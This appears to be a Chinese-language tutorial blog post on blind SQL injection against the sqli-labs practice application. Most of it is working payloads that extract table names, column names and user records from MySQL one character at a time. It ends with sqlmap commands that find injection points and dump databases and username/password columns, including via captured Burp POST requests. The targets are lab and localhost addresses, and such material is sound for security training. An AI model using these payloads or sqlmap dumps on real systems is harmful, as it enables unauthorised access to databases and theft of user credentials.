目录
页面没有回显点,即没有显示账号,密码——盲注同样基于union联合注入
limit() 切割的时候从下标为0的开始切割,substr() 从下标为1开始切割
暴力盲注
盲注原理
第一步——测试数据库的长度
测试数据库的库名的长度是否是某一确定值
http://192.168.165.98/sqlilabs/Less-5/?id=1' and length(database())=8 -- -测试数据库库名的长度在什么区间
http://192.168.165.98/sqlilabs/Less-5/?id=1' and length(database())>2 and length(database())<12 -- -
第二步——判断数据库的组成字母
测试数据库的库名的组成的第一个字母是不是在a-z之间
http://192.168.165.98/sqlilabs/Less-5/?id=1' and left(database(),1)>'a' and left(database(),1)<'z' -- -
//left(xxxxxx,1) 从内容左边开始截取,截取第一位,
//字母可以用来比较大小写是因为ASCII表的映射作用,所以它就对应一个数字,所以可以比较大小
第三步——爆表
substr("xxxxxx",1,1)————字符串切割,从第一位开始,切割一位,只写第二个参数,从该位后全部截取
limit 限制是第几个表 limit(0,1)——从下标为1的表切割,选择一个表,substr 判断表的组成字母,有三个传参爆第一个表名
http://192.168.165.98/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>11 -- -其中select table_name from information_schema.tables where table_schema=database()
是联合查询的时候的MySQL语句,意思是在系统表的所有表里面查询当前数据库的表,limit 0,1 ——只查询第一个表名,后面substr(xxxxx,1,1)意思是把该表名进行切割,选取第一个字符,看它的ASCII值的范围//A——65,a——97,由于前26个字符比较特殊,所以建议从27开始猜
上述语句也可以一次查询多个,但要注意逻辑上的关系,使用and判断的话,只要一个是错的就是显示错误
盲注payloads
一、判断数据库中的表
1、首先判断当前数据库中的表的个数
用二分法依次判断,最后得知当前数据库表的个数为4,count函数返回匹配指定条件的行数。
http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+ //
2、判断第一个表的长度
用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6 --+ //
limit 0,1 的含义就是从你的表或者库中的第0个数据开始(指的是第一个数据),只读取一个,在这里是库,也就是说读取这个库的第一个表。
我们在这里也可以发现用substr()函数时,只用了两个参数(string,start),length参数没有使用,这表示返回字符串的所有字符。
3、判断第二个表的长度
用二分法依次判断,最后可知当前数据库中第二个表的长度为8
http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=8 --+ //
注意这里的limit 0,1就要改为limit 1,1,从第一个数据开始,也就是从第二个数据开始,即这个库的第二个表。
同理可以依次判断剩余的表的长度。
二、判断表的字符
1、判断第一个表的第一个字符的ascii值
也是采用二分法,看看返回结果是什么,直到找到正确的ascii值,这里的100只是测试数字,具体还要看你们。找到对应的ascii值即是第一个表的第一个字符。
http://192.168.83.144/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+ //
2、判断第一个表的第二个字符的ascii值
http://192.168.83.144/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+ //
依次类推可以爆出这个库的所有表的名字。
三、判断表中的字段
和判断数据库中的表一样的使用方法,首先判断字段的个数然后字段的长度最后字段的ascii值,即可找到表中所有字段名。
1、判断表中字段的个数
判断users表中字段名称长度是否大于5,这里的users表是通过上面的语句爆出来的。
http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())>5 --+ //
2、判断第一个字段的长度
http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and length(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1))=2 --+ //
3、判断第一个字段的ascii值
http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105 --+ //
依次类推就可以爆出这个users表的所有字段名,分别是 id、username、password 字段。
四、判断字段的值
判断字段的值只需要判断数据的长度和数据的ascii值。
1、判断数据的长度
判断id字段的第一个数据的长度
http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and length((select id from users limit 0,1))=2 --+ //
2、判断数据的ascii值
判断id字段的第一个数据的第一个字符的ascii值
http://192.168.83.144/sqli/Less-8/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 --+ //
以此类推就可以爆出这个字段的数据值。
一、 判断是否存在注入和注入类型
1' or 1=1 不存在
1' or '1'='1 存在
判断为字符型
二、 判断数据库中表的数量1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# 不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2# 存在
有两张表
三、 判断表名长度1、第一张表:
1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1# 不存在
1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=2# 不存在
··················
1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9# 存在
第一张表名长度为92、第二张表:
1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=1# 不存在
…………
1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=5# 存在
第二张表名长度为5
四、 判断表名1、第一张表:
第一个字母:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97# 存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122# 存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>109# 不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103# 不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>106# 不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103# 存在
第一个字母为g第二个字母:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>97# 存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))<122# 存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109# 存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>115# 存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>118# 不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=116# 不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117# 存在
第二个字母为u以此类推…
2、第二张表:
第一个字母:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>97#.............
第一个字母为u以此类推得到第二张表表名为users
五、 判断表中的字段数1' and (select count(column_name) from information_schema.columns where table_name='users')=1# 不成功
1' and (select count(column_name) from information_schema.columns where table_name='users')=14# 成功
有14个字段
六、判断每个字段的长度第一列:
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1#
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7#成功
第一列长度为7第二列:
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1))=1#
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1))=10#
第二列长度为10第三列:
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1))=1#
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1))=9#
第三列长度为9以此类推,
每一列列名的长度分别为
7,10,9,4,8,6,10,12,4,19,17,2,8,8
七、 判断字段名我们可以猜测,上面长度为4,8的列应该就是我们想要的user,password列了
进行验证:
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>97# 存在
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))<122# 存在
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>109# 存在
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>115# 存在
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>117# 不存在
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))=116# 不存在
第四列列名第一个字母为u,有点接近我们的目标了,下面直接猜s,e,r1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),2,1))=115# 存在
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),3,1))=101# 存在
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),4,1))=114# 存在
可见我们的推理成功,第四列列名为user同理可得第五列列名为password
八、爆出数据判断出user第一个字段长度为5:
1' and (select length(user) from users where user_id=1)=5#
判断出第一个用户:
1' and ascii(substr((select user from users limit 0,1),1,1))=97# a
1' and ascii(substr((select user from users limit 0,1),2,1))=100# d
1' and ascii(substr((select user from users limit 0,1),3,1))=109# m
1' and ascii(substr((select user from users limit 0,1),4,1))=105# i
1' and ascii(substr((select user from users limit 0,1),5,1))=110# n
第二个用户1' and ascii(substr((select user from users limit 1,1),1,1))=103# g
1' and ascii(substr((select user from users limit 1,1),2,1))=111# o
1' and ascii(substr((select user from users limit 1,1),3,1))=114# r
1' and ascii(substr((select user from users limit 1,1),4,1))=100# d
1' and ascii(substr((select user from users limit 1,1),5,1))=111# o
1' and ascii(substr((select user from users limit 1,1),6,1))=110# n
1' and ascii(substr((select user from users limit 1,1),7,1))=98# b
手工盲注不太现实,暴力爆库费时费力,所以要用工具帮我们完成一些复杂工作,如Python脚本和SqlMap(自动化的爆表工具)
SqlMap的使用
SqlMap是SQLMap注入的神器,但是SqlMap只能跑一些过滤不太严格的注入,也可以使用Python编写的脚本跑
SqlMap使用
本机先装好Python环境,打开sqlmap下的cmd,在cmd的对话框输入python sqlmap.py 启动SqlMap,出现以下界面就说明sqlmap能正常使用,可以在网上找教程,把sqlmap做成一个链接放在桌面,方便后续直接使用在Windows桌面创建sqlmap快捷方式_一只咸鱼猫的博客-CSDN博客
注入成功,第一个是布尔盲注,第二个是错误注入,第三个是时间盲注,注入成功之后也会在本地形成一个文件缓存,即 C:\Users\Conpere\AppData\Local\sqlmap\output\192.168.165.98
语法应用
sqlmap语法
首先确定注入点——实战中的注入点就是用户和数据段进行交互的地方,根据参数判断
-u 给sqlmap直接传入一个url是跑不出来注入的,因为它不知道此时的参数是什么,如
python sqlmap.py -u http://192.168.165.98/sqlilabs/Less-5/
要给它后面加参数,才能提供注入点,方便工具去查找注入,如
python sqlmap.py -u http://192.168.165.98/sqlilabs/Less-5/?id=1
传递的参数要是对方服务器里实际存在的,而且是可以注入的参数
python sqlmap.py -u http://192.168.165.98/sqlilabs/Less-5/?id=1 --加参数
--users 爆出sql的所有用户
--passwords 爆出数据库账户与密码 一般不会直接读出账号密码,不建议使用
--dbs 可以爆出该MySQL中的所有数据库的名字
--current-db 爆出当前使用的数据库
--current-user 爆出当前数据库使用账户
--tables 爆出所有的表
1.-D [数据库名] --tables
2.-D [数据库名] -T [表名] --columns
3.-D [数据库名] -T [表名] -C"username,realname,password" --dump
MySql爆破
第一步 寻找是否存在sql注入点
python sqlmap.py -u "http://192.168.165.98/sqlilabs/Less-5/?id=1"
第二步 查询当前sql库
python sqlmap.py -u "http://192.168.165.98/sqlilabs/Less-5/?id=1" --current-db
第三步 脱指定库的所有表
python sqlmap.py -u "http://192.168.165.98/sqlilabs/Less-5/?id=1" -D security --tables
第四步 爆指定库,指定表的所有字段
python sqlmap.py -u "http://192.168.165.98/sqlilabs/Less-5/?id=1" -D security -T users --columns
第五步 爆指定库,指定表,指定字段的所有值
python sqlmap.py -u "http://192.168.165.98/sqlilabs/Less-5/?id=1" -D security -T users -C "username,password" --dump
--dump 爆出列表中指定列的内容
SqlMap的万能用法——可用于跑post数据包(Burp和SqlMap的联动)
1.拿Burp抓取post传输的,要测试sql注入的网页的包,在抓包界面右键,save item 保存文件
2.打开SqlMap python sqlmap.py -r +文件的存储地址
此时可以判断出来该网站是否存在sql注入点,如果有的话,还会显示相应的方式,如盲注,联合注入等
再重复上述第二步~第五步即可